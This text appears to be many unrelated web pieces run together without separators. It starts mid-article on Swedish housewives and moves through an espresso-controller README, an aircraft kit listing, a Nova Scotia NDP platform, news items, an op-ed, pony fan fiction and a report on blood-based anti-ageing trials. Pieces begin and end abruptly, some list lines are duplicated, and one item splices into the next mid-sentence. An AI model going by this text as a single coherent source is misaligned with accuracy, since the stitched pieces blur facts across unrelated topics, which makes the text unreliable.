Bearing in mind that women now work both because they want to and because most families need two incomes, she said, “That’s the way social norms work: They put pressure on people to conform.”
In Sweden the demise of the housewife is striking. Fathers share parental leave, kindergartens are heavily subsidized, and the universal breadwinner model is quite deeply entrenched — from the workplace to popular culture.
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Once the key market for advertisers on daytime television, happy homemakers touting cleaning products now rarely feature in TV ads.
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They are a “nonexistent segment,” said Jonas Andersson, brand consultant at The Brand Union, a Swedish brand design company. From time to time international ads have to be re-dubbed to remove offensive mentions of a “housewife,” he said. Mr. Andersson and his colleagues focus on what he calls the “women short of time” segment.
“From chocolate to cars, you want to target working mothers,” he said.
Nordic politicians have long focused on working mothers, giving them subsidies for elderly care and child care and, more recently, financial incentives to share parental leave.
Over all, these policies have increased economic growth, raised tax revenue and given women who wanted to work more financial independence, more social benefits, more personal fulfillment — in short, what many would call more freedom.
But social engineering is a blunt tool, and some worry that the freedom of working mothers has come at the expense of making outcasts of a minority who want to do things differently.
Jorun Lindell, a mother of three and the wife of a Swedish entrepreneur, tried being a housewife and could not make it work. “Sneered at,” she said, for her conviction that her children should have their mother at home, she learned that she also could not put them into state day care a few hours every day or week because it was reserved for families where both parents are either working, looking for work or studying.
She ended up enrolling at a university without any interest in her course, “wasting resources to get something our taxes already pay for,” she said.
There is no easy way to right the unintended consequences of well-meaning policy.
Some measures, like the home care allowance Sweden and Norway pay stay-at-home parents who opt out of the day care system, have often only reinforced the stigma attached to housewives: concerns that this allowance, popular with working-class and immigrant families, hampers social mobility by keeping children of poor and foreign backgrounds out of socializing day care have made it controversial.
A cheaper and possibly more effective way might be to finally and formally recognize the contribution housewives make to the economy, said Hélène Périvier, an economist at the Institut d’Études Politiques in Paris.
“It’s not about being paid,” said Ms. Périvier, noting that the economic value housewives create remains within their home, “it’s about being valued.”
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If ever there was a time to include unpaid housework and care work in G.D.P. figures, it is now, she said. Working mothers have a stake in this, too: They still do most of the unpaid work in their homes — even in Sweden.espresso-arm: PID Espresso Controller + Siri
A Project for Odroid C2 / Raspberry Pi 3
This is an embedded ARM modification for home espresso machines to add:
Accurate PID temperature control
A pretty touch interface
Control over the local network via a unified GUI
Siri and HomeKit support for voice-activated heating
I use an Odroid C2 for this project. A Raspberry Pi 3 will work just as well. I also show installation in a rather uncommon Lelit espresso machine. This will work fine in your Rancilio Silvia and most other single-boiler machines, but you'll need to be comfortable figuring out the wiring. If you want specific build instructions for the Silvia, send me one!
The Odroid C2 (or Raspberry Pi) hosts the control application on a local webserver. Attach a touchscreen and control your espresso machine there, or use the local web interface with any phone, tablet, or computer.
The app logic, GPIO pin control (PWM), a PID controller, and the thermocouple driver are all implemented in Python. Even the GUI and local web server are generated with Python (Remi).
Siri support (via Homebridge) requires Node.js, which causes a big dependency mess. If you don't want Siri support, everything else will work fine, and installation will be much easier for you.
Parts List
Tools
Price Supplier (US) Name + Link $19 Amazon Soldering Iron $5 Amazon Solder Remover $18 Amazon Wire Strippers
Software Installation
If you're starting from scratch, I recommend Arch Linux ARM. This guide assumes you're running Arch. If you already have a Linux distribution on your Odroid/Pi, and you're comfortable with Linux, you should be able to figure out how this translates to your platform.
Installing Linux
Arch Linux ARM provides a great installation guide for each platform:
Odroid C2
Raspberry Pi 3 Follow the guide for your platform to get up-and-running with Arch Linux. You'll need another Linux machine to flash the SD card with Arch Linux, so hopefully you already run Linux somewhere.
Once you have bootable media with Arch Linux, you'll need to set up Wifi and get everything working while you have access to a keyboard & monitor. I strongly suggest reading the Arch Linux Wiki's general recommentations page.
Prerequisites
python
WiringPi + WiringPi-Python
If you want Siri support, you'll also need:
python2
avahi
nodejs + npm
+ Homebridge
homebridge-http
Installing espresso-arm
As root:
pacman -S git python python-pip base-devel
On the Odroid: pacman -S wiringc1 git clone https://github.com/hardkernel/WiringPi2-Python.git pip install WiringPi2-Python/
On the Raspberry Pi: pacman -S wiringpi git clone --recursive https://github.com/WiringPi/WiringPi-Python.git pip install WiringPi2-Python/
cd ~ git clone https://github.com/hallee/espresso-arm.git cd espresso-arm/remi/ python setup.py install cp../espresso.service /etc/systemd/system systemctl start espresso systemctl enable espresso
For automatic login to root (make sure you've changed your root password at least):
systemctl edit getty@tty1 [Service] ExecStart= ExecStart=-/usr/bin/agetty --autologin root --noclear %I $TERM
Now espresso-arm should be installed and running on a local webserver. The systemd unit files ( espresso.service ) will run the application automatically in the event of a reboot. You'll probably want to set up your device with a static IP.
To access the interface from another device, browse to your Odroid or Pi's IP address at port 8081. In my case this is 192.168.1.83:8081.
Extra Steps for Siri Support
For Siri support, as root:
pacman -S python2 nodejs npm avahi systemctl start avahi-daemon systemctl enable avahi-daemon npm install -g homebridge --unsafe-perm npm install -g homebridge-http cp ~/espresso-arm/config.json ~/.homebridge/config.json cp ~/espresso-arm/espresso-siri.service /etc/systemd/system systemctl start espresso-siri systemctl enable espresso-siri
Finally, follow the 'Adding Homebridge to iOS' guide to get this working on your phone/watch.
Hardware Installation
Proceed with caution. Make sure your espresso machine is unplugged completely before opening it. Every component in your espresso machine is likely wired with live AC mains power (even the lights in my machine are wired directly to mains). This is much more dangerous than working in a computer (with low-voltage DC components) and you will be shocked if you touch any components while the machine is on.
My Lelit PL041QE. It's not sold anymore. The machine doesn't really matter though. Wiring should be mostly the same in similarly-priced machines like the Rancilio Silvia.
The factory wiring for my Lelit.
This is how the SSR should be wired. Heavy gauge wire on the AC-switching output. You can just use breadboard wires on the DC side. Daisy-chain a few male-female breadboard wires if you need a longer run.
Since my entire espresso machine is powered from mains, I needed to use a DC power supply. This splits the mains power coming into the machine; one leg goes to the USB power supply, and the other leg (blue female plugs) to the main switch of the espresso machine.
Note: this USB power supply ended up causing a lot of issues with the GPIO and I was getting faulty readings from the thermocouple amplifier. I replaced it with an Apple 5V 1A brick and that solved my problems. Make sure you use a quality USB power supply here.
There's a lot going on here:
The SSR has been mounted on the left side of the machine with the thermal tape.
I've removed the brown wires from one of the thermostats (there's three of them; the black circular things with two contacts each, coming out of the boiler) and connected them to the AC switching wires on the SSR. Important note: because of the thermostat I've bypassed, my main power switch and the steam switch must both be flipped for my software temperature control to work without tripping any other thermostats.
because of the thermostat I've bypassed, my main power switch and the steam switch must both be flipped for my software temperature control to work without tripping any other thermostats. I've unplugged the white and black mains power cables from the main switch. I'll connect these to the USB power supply from the last image.
Here's the USB power supply installed. Now the mains power goes to both the main machine switch and the USB power supply, instead of just the main power switch. In this configuration, the Odroid or Raspberry Pi will always have power as long as the cord is plugged into the wall, even if the machine's main switch is off.
I epoxied the thermocouple into a hole in the boiler. Epoxy was probably too permanent a solution to this. You can probably come up with something cleaner. But it works.
Here's the thermocouple amplifier all soldered up and ready to go.
The Odroid C2 with all the wires connected. The pins I'm using (top-to-bottom corresponds to left-to-right in the image:)
Physical Pin Number WiringPi Pin Number Color Name Usage 1 - Gray 3.3v Vin (Thermocouple Amplifier) 6 - Black 0v Ground (Thermocouple Amplifier) 12 1 Brown GPIO.238 DO (Thermocouple Amplifier) 16 4 Red GPIO.236 CS (Thermocouple Amplifier) 18 5 Orange GPIO.233 CLK (Thermocouple Amplifier) 36 27 White GPIO.218 On/Off (SSR) 39 - Black 0v Ground (SSR)
I'm not sure if the pins are the same on the Raspberry Pi 3. Run gpio readall to see your pin layout. You may have to wire your Pi differently. |
. Cost... See Order Form Kit #9, Covering Supplies Consists of materials required to cover aircraft, ceconite poly tak, poly brush, poly spray, reinforcing tape, rivets, finishing tapes. Approximate building time: 100 hours. Cost... See Order Form Kit #10, Fuel Tank Fuel tank comes welded with supplies to install sight gauge. Cost... See Order Form Kit #11, Engine Mounts Engine mount comes welded and ready for installation. Cost... See Order Form Kit #12, Cowling Kit consists of spun aluminum nose bowl and sheet metal for wrap around. Cost... See Order Form The Airdrome Airplanes full scale FOKKER DR-1 can be constructed using normal hand tools consisting of hacksaw, hand drill, file, pop rivet gun, wrenches, and hand nico press tool. Area required for construction should be approximate the size of a single car garage.
Click the images below to enlarge.NDP Leader Gary Burrill enthusiastically and unapologetically embraced something Nova Scotia politicians have repeatedly promised to eliminate for decades — deficits.
If elected, his party is promising to run deficits through not only the first mandate, but possibly through two.
The NDP's platform includes almost $1 billion in spending over and above what the Liberals promised in the budget tabled last month, which never passed.
Burrill launched the platform Monday morning at Dalhousie University's Student Union Building and said Nova Scotia needs major spending.
'A major move'
"When you're in a situation where you have 45,000 people being fed from food banks and [we have] the very highest increase in tuition rates anywhere in the country and over 100,000 people that can't get a family doctor, it's a situation that calls for a major move," he said.
Burrill said, with today's low interest rate environment, now is a good time to undertake major spending initiatives.
"The very best available thinking in economics suggests it. And it is also true that the needs of our people and the needs and requirements of the situation recommend it," he said.
Burrill and his team have built their platform around a key campaign theme, that Nova Scotians have been hurt and the province has not been well served by successive attempts by all three main parties to limit spending and try to table balanced budgets.
Platform promises
The NDP is promising to spend over four years:
■ $123.6 million to open seven new collaborative-care centres, and to hire more doctors and nurses.
$123.6 million to open seven new collaborative-care centres, and to hire more doctors and nurses. ■ $229 million in yet-to-be announced early childhood investments.
$229 million in yet-to-be announced early childhood investments. ■ $138.5 million to eliminate tuition fees to attend the Nova Scotia Community College.
$138.5 million to eliminate tuition fees to attend the Nova Scotia Community College. ■ $76 million to cut university tuition by 10 per cent over four years.
$76 million to cut university tuition by 10 per cent over four years. ■ $123 million to reinstate the previous Nova Scotia Film Tax Credit program.
$123 million to reinstate the previous Nova Scotia Film Tax Credit program. ■ $165 million to subsidize food costs for low-income families.
The party said the net effect of the NDP spending over four years would total $966 million in deficits, but it claimed the province's net-debt-to-GDP ratio would not grow over the four years because a growing economy would cushion part of the blow.
The four-year plan also includes:
■ Raising the minimum wage to $15 an hour.
Raising the minimum wage to $15 an hour. ■ Ending so-called corporate welfare.
Ending so-called corporate welfare. ■ Introducing fixed election date legislation.
Introducing fixed election date legislation. ■ Instituting a system of proportional representation.
String of deficits "frightening"
The PC candidate for Halifax Citadel-Sable Island Rob Batherson called the possibility of running deficits until 2025, "frightening" and "cynical".
"It tells Nova Scotians that we can just spend our way out of our problems," Batherson told reporters at his campaign office in downtown Halifax.
"Which we have seen time and time again, I mean we've had deficits generally in the province 20 of the last 30 years. If chronic deficits could solve Nova Scotia's woes we'd be the most prosperous place in Canada."
Liberal leader Stephen McNeil also pounced on the plan to spend more money than the province generates in revenue.
"I'm probably the only Nova Scotian that knows what it's like to be premier to follow an NDP government with a $500 million deficit," he said during a campaign event in Eastern Passage.
"Imagine following one with a billion dollar added to the debt of this province? And if you look at it where's the infrastructure commitment? What would we be left with?"Fake Cable Ad Apparently Hits Too Close To Home; Bogus Defamation Claim Censors Video In Canada
from the what-is-defamatory? dept
Back in March, we had written about an absolutely hilarious fake cable ad by the good folks at Extremely Decent Films. It's funny, and you can watch it again here... if you're not in Canada:Why not in Canada? It appears that YouTube has pulled the video based on a defamation claim. I confirmed this by logging into a Canadian server on my VPN, and got the following:This raises all sorts of questions, none of them good. There's nothing defamatory in the video at all. I don't care how ridiculous Canada's defamation laws are (and they are kind of ridiculous), this video isn't defaming anything. It doesn't name a particular cable company, and it's clearly parody anyway. It makes no statements of fact about any particular cable company anyway. Furthermore, it's clearly focused on the US, not Canada (at 24 seconds it shows a map of the US). So, it seems like an interesting question to know who made the defamation claim against the video? Furthermore, this is the first time I've seen that particular error message on a YouTube video (it's usually a copyright claim). I'm curious as to how carefully YouTube reviews the defamation claims and if the counternotice process is the same as with a copyright claim. Either way, it seems like whoever decided to file such a claim on the video basically decided to censor a video because they don't like what it says... and, of course, that's only going to serve to give it that much more attention (yet again).: YouTube has now reinstated the video, telling us: "Sometimes we make the wrong call. When it's brought to our attention that a video has been removed or blocked mistakenly, we act quickly to reinstate it." It's still not clear who made the original defamation claim, unfortunately.
Filed Under: cable, canada, censorship, defamation, parody, takedown, youtubeFormer soldier Leslie Binns turned around less than 500 metres from summit to help save Indian mountaineer Sunita Hazra
A British climber gave up the chance to reach the top of Mount Everest less than 500 metres from the summit to save the life of a fellow mountaineer.
Leslie Binns, who served in the British army for 13 years, turned around to save Indian climber Sunita Hazra in the early hours of 21 May. He was about 12 hours from the summit of the world’s highest mountain when he came across someone sliding down the fixed climbing line ahead of him.
Binns told the BBC he could hear the woman’s screams and managed to halt her fall: “I helped her upright and looked at her oxygen regulator – it was registering empty.” It was then that the former soldier, who now works as a security contractor in Iraq’s oilfields, decided to abandon his bid to reach the summit.
Climbers hope to reach Everest summit for first time in over two years Read more
“I climbed down to her and called my sherpa. I told him we were not going up and we would give Sunita my spare oxygen bottle and take her down,” Binns said.
During the difficult and dangerous descent, the trio found another climber who was also struggling to descend and took him with them. However, the man kept collapsing, and exhaustion and difficult conditions meant they were unable to bring him to Binns’ camp.
“I gave Sunita my sleeping bag in my tent. We then tried our best to get her warm by patting and rubbing her. She was suffering from hypothermia and her right hand was badly frostbitten,” he told the BBC. The next morning, Hazra’s sherpa collected her from the camp and helped her continue descending the mountain.
The following day, when Binns resumed his descent, he came across the body of the other climber they had to leave behind. “I am immensely proud that I helped Sunita. I just wish I could have done more,” he said.
Hazra, 32, who lives near Kolkata, left hospital on Wednesday after being treated for frostbite. Her brother, Kingshuk Chatterjee, told the BBC Binns was the reason Hazra was still alive: “He is a very brave man.”
Binns added: “I wish Sunita and her family all the best and hope she makes a full recovery.”
The Rotherham man served in Bosnia, Iraq and Afghanistan and has been awarded two bravery medals. He is due to return to the UK on Monday to be reunited with his fiancee and daughter.Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
It’s a strange country indeed where the fact that top bosses earn more in two and half days than most people earn all year causes less outrage than a proposal to limit pay at the top.
I suggest looking more closely at who was causing the uproar.
For years we've been told that when the rich get richer, we all benefit.
But ordinary people know that the wealth isn’t trickling down, it’s flooding up.
The irony is that curbing excessive pay would be good for everyone.
At the same time as executive pay has ballooned, the length of time CEOs stay at a particular company has shrunk.
(Image: Rwendland)
Too often they are cashing in rather than aiding the long-term growth of the company.
Even the Institute of Directors has said that it is in firms' own interests to curb excessive pay.
A stable society is built on trust and reciprocity – unfair pay creates the opposite, and that is bad for business.
Some will say we should rely on companies taking voluntary action, or naming and shaming.
You can’t shame the shameless.
More importantly, many firms who want to act can’t – why would a company lead the way in paying less than the going rate?
That’s why we’re looking at a range of options to limit excessive pay relative to lowest paid employees.
Publication of Directors’ pay was originally intended to shame companies into restraining pay.
But it has had the opposite effect, encouraging companies to compete with each other on pay.
Certifying companies who pay fair rates to all would give consumers the power to punish companies that don’t comply.
In big companies, pay is decided by committees made up of part time bosses under the guidance of pay “specialists.”
(Image: Getty)
Unlike lower paid employees, this close-knit group have no real interest in challenging big pay packets.
The Tories have backtracked on their promise to put workers on company boards.
But going further and giving workers a majority on pay committees would give them a voice on this crucial issue, and make sure that it was heard.
Wealth is becoming more and more concentrated in the hands of a tiny elite.
Globally, just 62 individuals own as much wealth as the poorest half of humanity.
In the UK, someone who earns £150,000 pays the same rate of tax as someone on £5 million.
Making the super-rich pay more tax would curb excessive pay and ensure more of the benefits are shared.
On the other hand, we could reward companies that pay fairer pay ratios with a lower rate of corporation tax.
This is not the “politics of envy.”
These are sensible but radical proposals to stop our economy being run in the interests of a narrow elite.
Clive Lewis MP is the Shadow Secretary of State for Business, Energy & Industrial StrategyA Superior Court judge has given the go-ahead to a proposed class-action lawsuit against the province by former students of a school for the blind in Brantford who claim they were abused.
Former students of W. Ross MacDonald, who attended the provincially run facility in Brantford from the 1950s until the ’80s, allege they suffered a laundry list of abuse, including being slapped, kicked, punched, forced to drink from a urinal, and made to eat their own vomit as punishment for throwing up — all at the hands of teachers and staff at the school.
Teachers and staff also abused students sexually, or permitted students to abuse one another in this way, the claim states.
The claimants, visually impaired, blind and deaf-blind former students, are seeking $200 million in damages, and as many as 1,000 former students could be affected, say their lawyers.
In her decision released late last week in Toronto, Superior Court Justice Carolyn Horkins ruled the class-action covers all students who attended or resided at the school from January 1 1951 to the present.Spike's design for the "what if" story where Twilight Sparkle travels into an alternative and dark future.A little warning. This concept involves my favorite pairings: Rainbow x Fluttershy, Pinkie x Twilight and Applejack x Rarity. Thou have been warned!I'm going to say what everyone is thinking; FINALLY!! '8D This piece took me longer than I expected, and then there were so many interruptions with other works. But what matters is that's done! TwTHere's the usual, and final, summary regarding the character's background:Spike was the first to notice Twilight's mysterious disappearance when the said girl was nowhere to be found in the Golden Oak Library and the same place was turned upside down as if someone had just stormed inside.The young dragon boy searched around the town for Twilight with Pinkie's help in the hopes that she was just dragged out by their friends or that she forgot to buy something. Unfortunately he couldn't find her anywhere, nor any of their friends knew where she was. Spike, concerned, decided to send an immediate letter to Princess Celestia about the strange situation and the Princess took action right way. She assembled searching teams to spread over Equestria in order to find the lost princess and Spike, along with Pinkie Pie and their friends, joined the search.Spike was determined to find Twilight even if he had to walk to the end of the world, because he knew that she would do the same for him. As the time goes by his friends gave up one after another, and when Rarity and Applejack prepared to leave the search Pinkie suggested that Spike would go with them. He was determined to continue but his body refused to obey and it was frustrating for him.Spike did as Pinkie told him and went back to their town with Rarity and Applejack, only to find out that it was under attack by the Changelings.He steps into the battle with his friends, Rarity, Applejack, Fluttershy and Rainbow Dash, and they manage to win the fight. However that wasn't the last and the most difficult yet.As the days passed the attacks became more frequent and Spike started training intensively to be able to protect his beloved friends. His training proved to be successful as his dragon abilities, such as the flames and strength, became quite powerful.Years went by after the fall of Canterlot, and even though many towns and cities have fallen under Chrysalis' power Ponyville was one of the few that remained strong against her. One of the main sources of power was Spike, now much older and matured. Thanks to his intensive training over the years he was now able to turn into a fully grown dragon and defend the town from the incoming armies of Changelings.His determination to protect his home and dear friends have been his motivation to keep getting stronger, he just wished Twilight was there with them, she would be able to figure out a way to regain the kingdom back.For Spike's surprise a part of his wish came true as Rainbow Dash came up with a plan to infiltrate the castle and ambush Chrysalis, by the looks of it it was flawless.Unfortunately when Spike, accompanied by his friends and some comrades, entered the castle they were caught in an ambush by the Changelings. Refusing to give up and be locked in a cell, Spike stepped into battle by turning in his grown dragon form and soon his friends followed him into the fight.Even though the best fighters were in that battle it seemed to be a lost cause as they were killed one after another, even Spike wasn't strong enough to hold those many attacks and his closest friends were getting terribly injured too.When he saw the awful state of the main five he somehow knew for sure that none of them would leave that place alive if they stayed there.So he turned to Pinkie Pie and Rarity and told them to lead the others out of the castle immediately. He fired his green flames at the Changelings so they couldn't get ay closer as his friends escaped. Then he slammed his gigantic body against the castle's crumbling walls with the objective of making the ceiling fall over them and vanquish the Changelings and their Queen.Spike was getting weak from the many wounds he was taking all at once but his resolve gave him one last bit of strength to accomplish his task and successfully destroying the main hall of the castle.Spike turned back to his human form moments after the whole place crumbled and with his vision blurred he tried to see if he had defeated the Changeling Queen. He didn't hear anything, there was absolute silence around him, and that made him smile.In his last breath he mumbled, "I did well, didn't I, Twilight...?" and lastly closed his eyes to finally get his rest after nine years of endless fights.Well, that's all folks! Sorry if I broke your heart! D8Spike the Dragon (My Little Pony) © HasbroHuman concept © meOn my Tumblr page: hazurasinner.tumblr.com/post/8…JACKSONVILLE, Florida – Law enforcement authorities said they prevented a mass shooting at a Jacksonville mosque and arrested a 69-year-old Filipino immigrant who allegedly hated Muslims.
Police charged Bernandino Gawala Bolatete with having a silencer not registered to him in the National Firearms Registration and Transfer Record but obtained from an undercover officer. The silencer was sold December 1 in the parking lot of Academy Sports and Outdoors at 11901 Atlantic Blvd.
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Bolatete, a green card holder, was arrested at his home and faces up to 10 years in federal prison if he is convicted on the weapons charge.
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The investigation started in October when the Sheriff’s Office received a tip that Bolatete “expressed a hatred for Muslims and made a specific threat to ‘shoot up’ a mosque,” according to the complaint.
The undercover officer recorded conversations with Bolatete on Nov. 10, Nov. 14, Nov. 20 and Nov. 24 and provided them to the FBI as evidence, according to the complaint, according to Jacksonville.com.
“If I ever decide to do that I’m not thinking of getting caught,” Bolatete said, according to the transcript. “I’ll … I’ll die there in that area. [laughter] They’ll be some sort of suicide thing … suicide by police?”
He apparently has only one kidney left and it was no longer functioning fully. Police said this meant that Bolatete did not expect to survive the intended mass shooting.
The complaint stated that Bolatete had practiced shooting with the undercover officer at a gun range. They also drove by the Islamic Center and he pointed out to the officer the tower from which the mass shooting could be done. He told the officer he had five guns, including an AR-15 that could be converted to an AR-47. He also said Muslims attended the mosque on Fridays, so that would likely be the day of the attack.
The Sheriff’s Office worked with the FBI, Florida Department of Law Enforcement and other agencies throughout the investigation.
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Read NextA North York industrial bakery facing prosecution by the Ministry of the Environment has received approval from a separate body, the Ontario Municipal Board, to retroactively legalize expansion done without city permits. Fiera Foods, which was the subject of a Star investigation this year into temporary work, failed to obtain the necessary city permits for parts of an expansion that began about five years ago. In 2014, Fiera received a $1.5-million grant from the provincial government to help with its upgrades, and was lauded at the time by Premier Kathleen Wynne for creating good jobs.
North York industrial bakery Fiera Foods has received approbal from the Ontario Municipal Board to retroactively legalize expansion done without city permits. ( RANDY RISLING / TORONTO STAR FILE PHOTO )
The company has now successfully appealed to the OMB to grant it “minor variances” to local bylaws, meaning its expansion is now compliant with municipal requirements. The decision does not affect the ministry of environment prosecution, which will proceed to trial in April. Charges were laid in January against Fiera Foods and adjacent sister company Marmora Freezing Corp. for breaching the terms of a government-issued Environmental Compliance Approval, which included the construction of a noise barrier wall, and for expanding without ministry approval. The Environment Ministry said since 2016 it has received around a thousand complaints about the facilities from community members, some of whom described noise pollution as “intolerable and unacceptable,” documents obtained by the Star show. Fiera Foods counsel David Gelbloom said the factory has taken “a series of noise mitigation measures” following two ministry investigations last year, including reducing sound from condenser fans, and has now built the required sound barriers. He said noise in the area came from a variety of sources including major highways, flight paths and railways — not just the factory. Measurements conducted by the Environment Ministry this September showed the noise environment in nearby residential areas was in line with legal requirements, he said.
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That company provided the same testimony to OMB member Paula Boutis, calling three expert witnesses who said the factory was now in compliance with noise regulations and was an important source of employment and economic growth in the area. Four local residents also appeared as participants before the board asking it to deny the appeal. They cited ongoing noise issues disrupting the community and argued that many of the jobs on offer at Fiera were temporary, precarious positions. “Nowhere in provincial policy do we promote low-paying precarious employment,” testified Paul Zamperin, whose aging parents live behind the factory. This year, the Star sent a reporter to work undercover at Fiera, as part of an investigation into the rise of temporary work. The Star’s reporter, who was hired through a temp agency, received about five minutes of safety training, no hands-on instruction and was paid in cash at a payday lender without any documentation or deductions. Fiera and Marmora have been convicted under the Occupational Health and Safety Act in relation to the death of three temp agency workers since 1999. Boutis’s ruling notes that the factory’s economic expert, Peter Norman, “did not contradict that these jobs may be of a precarious or temporary basis.” But Norman testified that “a job is a job” when it comes to economic development policies.
In a decision issued this week, Boutis ruled the factory’s expansion met provincial criteria for “good planning,” and found there was no excessive noise generated specifically from the parts of its expansion under appeal. “The issue for the board is whether unacceptable impacts — including noise impacts — arise from the variances themselves, not whether the facility’s operations otherwise create noise impacts.”
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“Participants, understandably, feel that if the board approves the variances ‘after the fact’, this amounts to allowing the applicants to flout the rules,” she added. “While the board does not countenance undertaking construction or other activities without the needed approvals, the board’s judgment on planning permissions cannot be clouded by this,” Boutis said, adding the OMB does not play an “enforcement role for breaches of city bylaws or provincial legislation.” The approval is conditional on a deal struck between Fiera Foods and the City of Toronto, in which the company agreed to pay the City $200,000 toward the construction of a new traffic light in the neighbourhood. smojtehedzadeh@thestar.ca, 416-869-4195A boy from Ventura, California is the youngest to become an Eagle Scout at just 11 years old.
Kaylan Ouerbacker, a Scout in Troop 813, was named Eagle Scout at Bible Fellowship Church this week despite completing all the requirements last year.
He was also honored at a ceremony in Ventura Hall on Monday evening.
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Youngest: Kaylan Ouerbacker of California is the youngest to become an Eagle Scout at just 11 years old
Making history: Kaylan Ouerbacker, a Scout in Troop 813, was named Eagle Scout at Bible Fellowship Church this week despite completing all the requirements last year
Hard work: Kaylan Ouerbacker wanted to be an Eagle Scout ever since he was five-years-old
KEYT.com reports that Kaylan wanted to be an Eagle Scout ever since he was five years old and had a little help from his father who serves as the scout master.
In order to become an Eagle Scout members of the troop must exhibit their leadership skills.
'To earn the rank of Eagle, a Scout must prior to reaching their 18th birthday, earn a total of 21 Merit Badges of which 10 are required, provide leadership to their unit for six months after earning their Life Rank, and plan, develop, and give leadership that benefits a religious institution, a school, or a community organization,' the troop's website states.
The rank of Eagle Scout is difficult to gain but perhaps that's why so many successful members of society have made it that far.
CBS News anchor Walter Cronkite, astronaut and the first man to walk on the moon Neil Armstrong, President Gerald Ford, director Steven Spielberg and actor Jimmy Stewart,reports KEYT.com.
Just like family: The young Eagle Scout had some help from his father who is the troop's leaderFor reasons explained elsewhere in this issue, AdReview never saw the Super Bowl. We did see almost all of the commercials beforehand, however, having received most from willing advertisers and extracted some, like wisdom teeth, from others.
Marketer: Google
Agency: Google Creative Lab, New York
The latter process, involving a signed affidavit pledging silence till after the game, is equal parts infuriating and hilarious -- as if a) we'd break our word over anyone's stupid TV commercial, b) the public were champing at the bit to see what Motorola or Boost Mobile or whatever has produced, and c) competitors would somehow turn their marketing plans upside down if AdReview were, against all self-interest, to let the cat out of the bag.
Note to the Leading National Advertisers: Get over yourselves.
Anyway, though Ad Age's tenacious reporters annually ferret out almost the entire Super Bowl ad roster, every now one escapes our scrutiny. This year it was Google.
Perhaps you've heard of the company. It's the Starbucks of dot-coms. They not only dominate the world of online search, they also have an operating system, a phone, a satellite and street-level map of your street, YouTube, a wireless network, an instant translator, an MRI center, a cattle feedlot, a hollowed-out volcano, a space program, a strategic stockpile of stem cells and the patent for candy corn. Google's goals for 2010 are to slow the growth of Microsoft's Bing search engine and to acquire, for cash and stock, Asia.
All of which is to say, whereas once upon a time IBM could be characterized as the fearsome, omnipotent, info-dominating tyrant of the digital age, and then Microsoft, now -- in the role of Big Brother -- there is only Google.
Sure, the corporate motto is "Don't Be Evil," but no institution so vast, ambitious and powerful can long avoid public (and governmental) suspicion. Among those to characterize Google as a bunch of bullies and thieves are Rupert Murdoch and, whaddyacallit... France. The public cannot be far behind.
And so, apparently Sergey Brin and friends came up with two or three million dollars -- which they can accomplish by cleaning the lint trap -- and used last Sunday's big game to mount a charm offensive.
Naturally, like everything else these people do, it was perfect.
We seriously doubt the ad -- a simple POV montage of internet searches by an unseen guy -- was intended to demonstrate the comparative ease and utility of the Google search engine. Googling is nearly a universal experience, and (notwithstanding Bing's mild disrespect) isn't itself the subject of much grumbling worldwide. No, this was merely an exercise in storytelling. And a lovely, romantic one at that, told, to a lilting piano accompaniment, via a succession of search terms:
"study abroad," "paris france," "cafés near the louvre," "translate tu es trés mignon" [result: "You're very cute"], impress a French girl," "chocolate shops," "paris... "
And so on, through courtship, marriage and the instructions for assembling a crib. You can imagine how women reacted to this. If they didn't well up with tears, surely they clutched their chests and sighed, "Aaaaawww." Men, too, by the way. Where AdReview spent the week, it was all anyone wanted to talk about.
No fake newscasters thrusting out their boobs, no houses built with beer cans, no one being tackled or strangled. Just a simple narrative, a few sound effects and a computer monitor to remind 100 million people by what various means Google has become an indispensable part of their lives.
And so sweet! How could you ever distrust such a company?
Of course, the answer to that is "Just wait." But never mind. For the moment, thanks to the magic of (non-search) advertising, the pressure is off.In what could be a fresh chapter in the never-ending story of the search for eternal youth, scientists are to tinker with people’s blood in the hope of slowing down the ageing process and preventing age-related diseases.
Researchers in California plan to launch a clinical trial of the radical – and highly experimental – approach in the next six months, after a small study in mice found the treatment had promise.
People who take part in the trial will have their blood passed through a machine that resets abnormal levels of proteins seen in older blood. The scientists believe these high levels of certain proteins can hamper the growth and maintenance of healthy body tissues, and so contribute to their deterioration in old age.
Plans for the trial emerged as scientists announced the results of the animal study, which was part-funded by Calico, Google’s life extension company. The study showed that infusions of old blood reduced the growth of fresh liver and brain cells in young mice and impaired their performance in a strength test.
The same series of experiments found evidence that infusions of young blood could speed up muscle repair in older animals. But Irina Conboy, who led the work at the University of California, Berkeley, said the improvement could be due the dilution of old blood in the animals, rather than the young blood having rejuvenating properties itself.
The work is the latest in a string of studies to show that molecules in blood may shift the apparent pace of ageing in various bodily tissues. But while much of the previous work has focused on the rejuvenating effects of proteins lurking in young blood, the Berkeley team conclude that abnormal levels of proteins in old blood are more important.
“These proteins are made by all the tissues in your body every day,” Conboy told the Guardian. “When they are present at low levels, they are important, and you cannot live without them. But with ageing their levels become skewed. Some of them go up, and some go down. So the rational approach is not to give people young blood, but to normalise the levels of these key molecules.”
Can we reverse the ageing process by putting young blood into older people? – Podcast Read more
Asked about her hopes for a treatment, Conboy said, “If you can prevent Alzheimer’s disease, Parkinson’s disease and type 2 diabetes, you pretty much provide many more decades of healthy active life to everybody.”
One scientist who read the study was not convinced by the findings. Tony Wyss-Coray at Stanford University has set up a clinical trial to investigate whether injections of young blood plasma can help people with early stage Alzheimer’s disease. He said he doubted the results because of the statistics the team use, and the fact that the studies draw on only four pairs of mice for each experiment.
In the past, scientists have investigated what happens when blood is swapped between old and young animals by conjoining them in a surgical operation known as parabiosis. Because the animals share a blood supply, the procedure allows scientists to look for effects of young blood on old animals and vice versa. But mice that are conjoined in this way share more than a blood supply. For example, an older mouse attached to a younger one benefits from the latter’s more youthful organs too.
In the latest study, reported in Nature Communications, Conboy’s team came up with a new way to transfer blood between animals without conjoining them. Instead of surgically attaching the animals, their blood is drawn through a tube by a computer-controlled pump and directly transfused into the recipient animal.
The Berkeley team is now working on a device that can filter out high levels of proteins from old human blood and so reset them to more youthful levels. “If you can remove key inhibitor molecules from the blood of an old person and then return that blood into them, that could be immediately therapeutic,” Conboy said.
“We are developing ideas for clinical trials to see what happens if you normalise levels of one key protein we think is inhibitory,” she added. “We hope to start in six months and have results in three years.
